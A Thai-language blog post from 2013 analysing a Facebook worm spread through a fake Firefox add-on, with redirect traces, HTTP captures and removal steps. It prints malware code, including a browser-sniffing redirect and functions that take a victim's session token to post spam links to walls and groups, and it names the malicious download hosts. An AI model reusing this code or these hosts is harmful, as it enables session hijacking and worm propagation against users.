วันจันทร์ที่ 17 มิถุนายน พ.ศ. 2556

Analysis Facebook Malware[ | Facebook Messenger 2013]

วันนี้มีเพื่อนของผมใน Facebook บางคนติดไวรัสที่ทำงานแพร่กระจายผ่าน Facebook โดยจะเป็นการโพสต์ที่ Wall ของ เหยื่อที่ติดไวรัสตัวนี้ และโพสต์ในกรุ๊ปต่างๆที่เหยื่อนั้นเป็นสมาชิกอยู่ด้วยครับ ซึ่งรูปร่างหน้าตาของข้อความจะเป็นประมาณนี้ครับ

ซึ่งอันนี้เป็นข้อความที่ผมเอามาจาก email ที่ส่งมาจาก Facebook อีกที ซึ่งเมล์แบบนี้จะเกิดขึ้นเมื่อมีการ mention ชื่อผมในข้อความนั่นเอง โดยจากภาพจะเห็นว่าด้านหน้าสุดจะเป็นชื่อของผู้ที่โพสต์ข้อความหรือก็คือ เหยื่อนั่นเอง ส่วนขึดดำๆนั่นคือชื่อของเหล่าคนที่ถูก mention ครับ
ซึ่งพอ ผมเห็นข้อความประมาณนี้ผมคิดในใจทันทีว่า อยู่ดีๆก็ mention แบบไม่มีปี่ไม่มีขลุ่ยแบบนี้ น่าจะไวรัสชัวร์ๆ ดังนั้นผมจึงไม่กล้าที่จะกด link ดังกล่าวครับ แต่ก็ยังมีความสงสัยอยู่ว่ามันเป็นยังไงและคืออะไร แต่ในขณะนั้นผมใช้งานบน iPad ทำให้ไม่สะดวกในการเข้าไปดูเพราะไม่มี plugin security ใดๆบน chrome browser ของผมเลย(ถ้าเป็น Notebook ผมคงใช้ Plugin อย่าง NoScript ของ Firefox หรือ NotScript ของ Chrome ที่เอาไว้หยุดการรัน script ที่เว็บไซด์ที่เราเข้าไปนั่นเอง*) ดังนั้นผมจึงเลือกที่จะใช้บริการเว็บไซด์ที่สามารถ view source code ได้โดยที่เราไม่จำเป็นต้องเข้าเว็บไซด์อย่าง เว็บไซด์ serversfree.com แทนนั่นเอง ซึ่ง URL ของเว็บแอพพลิเคชั่นที่ว่าก็คือ http://www.serversfree.com/free-seo-tools/view-source-code/ นั่นเอง

โดยเมื่อผมใส่ URL http://bb1.co/1181581977 ที่เป็นข้อความกระจายไวรัสผมก็ได้ผลดังภาพครับ



จะเห็น source code ของเว็บไซด์ดังกล่าวครับ นั่นหมายความว่าถึงแม้เราจะไม่ได้เข้าเว็บไซด์ดังกล่าวก็สามารถดู source code ของเว็บไซด์เป้าหมายได้เช่นกัน ทีนี้มาดูกันว่า source code ของเว็บไซด์ดังกล่าวเป็นอย่างไรบ้าง โดยผมคิดว่าหากโพสต์ในนี้มันจะยาวเกินไป หากใครต้องการ code ตัวเต็มให้เข้าไปดูใน link นี้ครับ http://pastebin.com/gxhG7BQc

พอดูคร่าวๆแล้วผมก็ไม่เห็นจะมีอะไร เท่าที่ดูเป็นตัวที่ใช้ในการนำ shorten URL(URL แบบย่อ)
http://bb1.co/1181581977 ไปเป็น Long URL(URL ปกติ)มากกว่า แต่ก็ยังสงสัยว่ามันโจมตียังไงหรือมีการทำงานยังไง ก็เลยจบการวิเคราะห์บน iPad ไว้ก่อนเพราะกลัวจะโดนอะไรไปซะก่อน :p

จากนั้นก็มาทดสอบการใช้งานเว็บไซด์ที่แพร่กระจายอีกทีด้วย VMWare ของผมเองด้วย Burp Suite โดยได้ผลดังนี้ครับ


เมื่อเข้าไปยังเว็บไซด์ http://bb1.co/1181581977

มีการตอบกลับมาเป็น
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Tue, 11 Jun 2013 15:53:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 90
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=4cb5fca8c1981f2c42cbe6b34f4a3da4; path=/
Vary: User-Agent,Accept-Encoding
Connection: keep-alive

<META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://sarjad.net/theme/id/images/?1181581977">






ซึ่งก็คือการ redirect ไปยัง http://sarjad.net/theme/id/images/?1181581977 หรือก็คือ Long URL ของ
http://bb1.co/1181581977 นั่นเอง

จากนั้นเมื่อเข้าไปที่ http://sarjad.net/theme/id/images/?1181581977 พบว่ามีการตอบสนองกลับมาเป็น 
HTTP/1.1 200 OK
Content-Length: 882
Content-Type: text/html
Server: Apache
Last-Modified: Tue, 11 Jun 2013 15:41:16 GMT
Connection: keep-alive
Date: Tue, 11 Jun 2013 15:55:58 GMT

<script language="javascript" type="text/javascript">
    var firefoxurl    = "http://sarjad.net/theme/id/images/firefox.php?mozilla";
    var chromeurl    = "http://xdailyhaha.blogspot.com/?chrome";
    var operaurl    = "http://xdailyhaha.blogspot.com/?opera";
    var safariurl    = "http://xdailyhaha.blogspot.com/?safari";
    var elseurl    = "http://xdailyhaha.blogspot.com/?else";
    var is_opera=navigator.userAgent.toLowerCase().indexOf("opera")>-1;
    var is_chrome=navigator.userAgent.toLowerCase().indexOf("chrome")>-1;
    var is_safari=navigator.userAgent.toLowerCase().indexOf("safari")>-1;
    var is_firefox=navigator.userAgent.toLowerCase().indexOf("firefox")>-1;
    if(is_chrome)    inst=chromeurl;
    else if(is_firefox)    inst=firefoxurl;
    else if(is_opera)    inst=operaurl;
    else if(is_safari)    inst=safariurl;
    else        inst=elseurl;
    top.location.href = inst;
</script>


ซึ่งจากเว็บเพจดังกล่าวมี javascript ที่ใช้ในการ redirect เหยื่อไปยังเว็บไซด์ต่างๆตาม Browser ที่เราใช้งานด้วย statement navigator.userAgent.toLowerCase().indexOf($Browser_Name) โดยในที่นี้ผมใช้เป็น Firefox ดังนั้นก็จะถูก redirect เข้าไปที่ http://sarjad.net/theme/id/images/firefox.php?mozilla (หากเป็น Chrome ก็จะกลายเป็นเข้าไปที่ http://xdailyhaha.blogspot.com/?chrome แทนครับ)

และเมื่อเข้าไปหน้า http://sarjad.net/theme/id/images/firefox.php?mozilla ซึ่งเป็นหน้าที่หลอกให้เหยื่อ download plugin ของ Firefox ไปติดตั้ง

ตัวอย่างการเข้าด้วย Firefox

ตัวอย่างการเข้าด้วย Chrome

พร้อมทั้งในหน้า page ดังกล่าวก็มีการใช้พวก histat เพื่อเก็บสถิติการเข้าถึงด้วย
<script type="text/javascript">document.write(unescape("%3Cscript src=%27http://s10.histats.com/js15.js%27 type=%27text/javascript%27%3E%3C/script%3E"));</script>
        <script  type="text/javascript" >
        try {Histats.start(1,2259907,4,0,0,0,"");
        Histats.track_hits();} catch(err){};
        </script>


อีกทั้งมีการหาเงินจาก ads ด้วยครับ

GET /st?ad_type=iframe&ad_size=728x90&section=4310197&pub_url=${PUB_URL} HTTP/1.1
Host: onlineadserv.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://sarjad.net/theme/id/images/firefox.php?mozilla
Connection: keep-alive


GET /st?ad_type=iframe&ad_size=728x90&section=4310197 HTTP/1.1
Host: ad.yieldmanager.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://onlineadserv.com/st?ad_type=iframe&ad_size=728x90&section=4310197&pub_url=${PUB_URL}
Cookie: ih="b!!!!'!B*!B!!!!$>33Yy!DfK0!!!!#>3,$8!DfWq!!!!#>33`R!DyuX!!!!$>3,$7"; bx=62qkht18dehmk&b=3&s=1l&t=116; RMBX=62qkht18dehmk&b=3&s=1l&t=116; BX=62qkht18dehmk&b=3&s=1l&t=116; bh="b!!!!#!%ODP!!!!#>3367"
Connection: keep-alive


ทีนี้หากเรากดที่ปุ่ม Update ก็จะกลายเป็น dialog ถามว่าจะติดตั้ง Firefox Addon ตัวนี้มั้ยนั่นเองครับ

ผมได้ลอง download http://sarjad.net/theme/id/images/ribbons/socialne.xpi มาแกะดูภายในไฟล์ พบว่ามีไฟล์ที่น่าสนใจคือ facebook.js นั่นเอง

ซึ่งจากการวิเคราะห์ facebook.js มันจะไปดึงข้อมูล cookie ของเราจาก LocalStorage ออกมาเพื่อปลอมตัวเองเป็นเหยื่อสำหรับการโพสต์ข้อมูลต่างๆนั่นเอง
GM_getValue=function(name, defaultValue) { return window.localStorage.getItem(name) || defaultValue;};

 จากนั้นก็จะไล่ดู history ของเหยื่อที่เคยเข้า ว่าเข้า facebook URL อะไรบ้าง แล้วไล่ไปโพสต์ทุกอันอีกทีครับ
GM_xmlhttpRequest=function(obj) {
    try {
        if (obj && obj.url && obj.url.indexOf("facebook.com")>0) {
            var request=new window.XMLHttpRequest();
            request.onreadystatechange=function() { if(obj.onreadystatechange) { obj.onreadystatechange(request); }; if(request.readyState==4 && obj.onload) { obj.onload(request); } }
            request.onerror=function() { if(obj.onerror) { obj.onerror(request); } }
            try { request.open(obj.method,obj.url,true); } catch(e) { if(obj.onerror) { obj.onerror( {readyState:4,responseHeaders:'',responseText:'',responseXML:'',status:403,statusText:'Forbidden'} ); }; return; }
            if(obj.headers) { for(name in obj.headers) { request.setRequestHeader(name,obj.headers[name]); } }
            request.send(obj.data); return request;
        }
        else {
            opera_xhr_counter++;
            var xhr = { 'method':obj.method, 'url':obj.url, 'headers':obj.headers, 'data':obj.data };
            var req_obj = {'type':'ajax', 'xhr':xhr, 'id':opera_xhr_counter};
            opera_xhr_funcs[ opera_xhr_counter ] = obj.onload;
            opera.extension.postMessage( JSON.stringify(req_obj) );
        }
    } catch(e) {
        alert(e);
    }
};


จากการไล่ดูข้อมูลคร่าวๆทั้งหมด ก็สามารถสรุปได้ดังนี้
1. Malware ตัวนี้ใช้การกระจายผ่าน Shorten URL
2. ใช้ Service ที่เปลี่ยนจาก Shorten URL ไปเป็น Long URL ในการทำให้การโจมตีซับซ้อนยิ่งขึ้น(Obfuscation)
3. Malware ดังกล่าวเป็นการโจมตีดั่งที่เพื่อนผม Kenny พูดไว้เมื่อ 3 ปีที่แล้วได้ นั่นก็คือการโจมตีแบบ Cocktail Attack โดยเป็นการโจมตีที่จะใช้ payload ตาม Browser ที่เราเข้า
4. การโจมตีเน้นการโจมตีแบบ Drive-By-Download ติดตั้ง virus อยู่ภายในเครื่องเราผ่านการติดตั้งพวก plugin
5. การโจมตีทั้งหมด นั้นทำเพื่อ Black SEO และหาเงินผ่าน Ads ต่างๆครับ
6. พยายามแพร่กระจายผ่าน Facebook
7. มีความพยายามในการโจมตีที่ซับซ้อนและหลากหลายมากขึ้น

วิธีการแก้ไขของ Firefox คือ
 เข้าไปลบ Plugin ที่มีชื่อว่า Facebook 2013 2.0 ครับ โดยเข้าไปที่ Tools -> Add-ons -> Extensions จากนั้นจะเห็นชื่อ "Facebook 2013 2.0" เลือก Remove แล้วก็ Restart Now ได้เลยครับ

*** หมายเหตุหากไม่เอาออกและเราเปิดหน้า Facebook ค้างไว้ ตัว malware add-ons ตัวนี้ก็จะทำการโพสต์ข้อความไปเรื่อยๆครับ


*** Update

ส่วนนี้เป็นส่วนเพิ่มเติมที่ผมทำคือลองลง add-ons ตัวนั้นดูครับ ซึ่งผลที่ได้ก็ไม่แปลกใจซักเท่าไหร่ ซึ่งผมสามารถสรุปได้ดังนี้
1. ไม่มีการฝัง backdoor ไว้ในเครื่อง
2. ไม่มีการสร้าง service เพิ่มเติมไว้ในเครื่องเรา
3. ทำงานผ่าน add-ons ที่ติดตั้งไว้ใน Browser ของเราเลย ซึ่งนั่นหมายความว่าการทำงาน request ต่างๆจะกระทำผ่าน Firefox โดยที่เราไม่รู้ตัวเลย ซึ่งจะคล้ายๆกับ Man-In-The-Browser แต่เป็นการใช้ session ที่ถูกจัดการไปใน browser มากกว่า
4. มีการ download javascript มา run เป็นระยะๆ ซึ่งก็จะคล้ายๆกับการไปดาวโหลดคำสั่งมาจาก C&C server นั่นเอง


โดยพอเราเข้า Facebook.com ก็จะมีการ download javascript จาก crazyjack.no-ip.info และ crazyjacks.googlecode.com ทันที  
5. Javscript จาก crazyjack.no-ip.info แบ่งเป็น 3 ส่วน
   5.1 post.js จะมีการดึง cookie ออกมาด้วยคำสั่ง javascript จากนั้นก็หา userid ของเราผ่าน c_user ออกมา แล้วค้นหา list เพื่อน,group ด้วยคำสั่งประมาณว่า

https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&options[0]=friends_only&options[1]=nm&token=v7&viewer=$userid&__user=$userid 

https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&filter[0]=group&options[0]=friends_only&options[1]=nm&token=v7&viewer=$userid&__user=$userid

แล้ว post ไปในข้อความ, wall และ group ของเหยื่อด้วย XML

function postagroup(idgrp){
    var xmlhttppg = new XMLHttpRequest();
    xmlhttppg.onreadystatechange = function () { if(xmlhttppg.readyState == 4){} };
    if (document.URL.indexOf("https://") >= 0) { xmlhttppg.open("POST", "https://www.facebook.com/ajax/updatestatus.php", true); } else { xmlhttppg.open("POST", "http://www.facebook.com/ajax/updatestatus.php", true); }
    var params = "fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value + "&xhpc_context=profile&xhpc_ismeta=1&xhpc_fbx=1&xhpc_timeline=1&xhpc_composerid=u_jsonp_2_c&xhpc_targetid=" + idgrp + "&xhpc_message=| " + title_cry + " > " + url_cry + "&xhpc_message_text=| " + title_cry + " > " + url_cry + "&is_explicit_place=&composertags_place=&composertags_place_name=&composer_session_id=1363309654&composertags_city=&disable_location_sharing=false&composer_predicted_city=&nctr[_mod]=pagelet_group_composer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=k&phstamp=165816749114848369115";
    xmlhttppg.setRequestHeader ("X-SVN-Rev", svn_rev);
    xmlhttppg.send(params);
}
function postpaylas(){
    var xmlhttppo = new XMLHttpRequest();
    xmlhttppo.onreadystatechange = function () { if(xmlhttppo.readyState == 4){} };
    if (document.URL.indexOf("https://") >= 0) { xmlhttppo.open("POST", "https://www.facebook.com/ajax/updatestatus.php", true); } else { xmlhttppo.open("POST", "http://www.facebook.com/ajax/updatestatus.php", true); }
    var params = "fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value+"&xhpc_context=profile&xhpc_ismeta=1&xhpc_fbx=1&xhpc_timeline=1&xhpc_composerid=u_0_33&xhpc_targetid=" + user_id + "&xhpc_message=" + mesaj + " %0A%0A|| " + title_cry + " > " + url_cry + "&xhpc_message_text=" + mesaj_text + " %0A%0A|| " + title_cry + " > " + url_cry + "&backdated_date[year]=&backdated_date[month]=&backdated_date[day]=&backdated_date[hour]=&backdated_date[minute]=&is_explicit_place=&composertags_place=&composertags_place_name=&composer_session_id=1363309654&composertags_city=&disable_location_sharing=false&composer_predicted_city=&audience[0][value]=80&nctr[_mod]=pagelet_timeline_recent&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=m&phstamp=165816749114848369115";
    xmlhttppo.setRequestHeader ("X-SVN-Rev", svn_rev);
    xmlhttppo.send(params);
}


โดยทุกครั้งที่จะ post จะมีการไปดึง link ที่ถูก generate มาจาก http://sarjad.net/theme/id/images/ribbons/urlgen.php อีกด้วย ซึ่งทุกครั้งที่นำข้อมูลมา ก็จะมีการลบ function ที่ใช้ในการดึง link ออก แล้วไปเปลี่ยนชื่อ function ใหม่ เข้าใจว่าเพื่อเอา link หลายๆอันที่เป็น ads มาใช้เปลี่ยนไปเรื่อยๆนั่นเอง

   5.2 all.js เป็น script ที่เอาไว้ไปเรียก http://whos.amung.us เพื่อเอาไว้ดูว่าเหยื่อเข้า Facebook ไปถึงไหนแล้ว เพราะเท่าที่ดูผมเข้าไปแค่หน้าแรกของ Facebook เวลา request ออกไปก็จะกลายเป็น 

http://whos.amung.us/pingjs/?k=casperpost&t=Welcome%20to%20Facebook%20-%20Log%20In,%20Sign%20Up%20or%20Learn%20More&c=c&y=&a=0&r=784

ซึ่งก็คือ Header หน้าแรกของ Facebook นั่นเอง


   5.3 user.js จะเป็นส่วนที่ไปโพสต์ malware link คล้ายๆกับ post.js แต่จะเน้นไปที่อะไรที่เกี่ยวกับ user เช่นคนที่เรา follow, fan page, page ที่เรากด like และอื่นๆ

6.  script ที่มาจาก crazyjacks.googlecode.com มี 3 script เหมือนกับที่ดึงมาจาก crazyjack.no-ip.info และโค้ดเหมือนกันทุกประการ ดังนั้นคิดว่าน่าจะเป็นส่วนที่เหมือนกับส่วนสำรองของตัว script มากกว่า

ไม่มีความคิดเห็น:

แสดงความคิดเห็น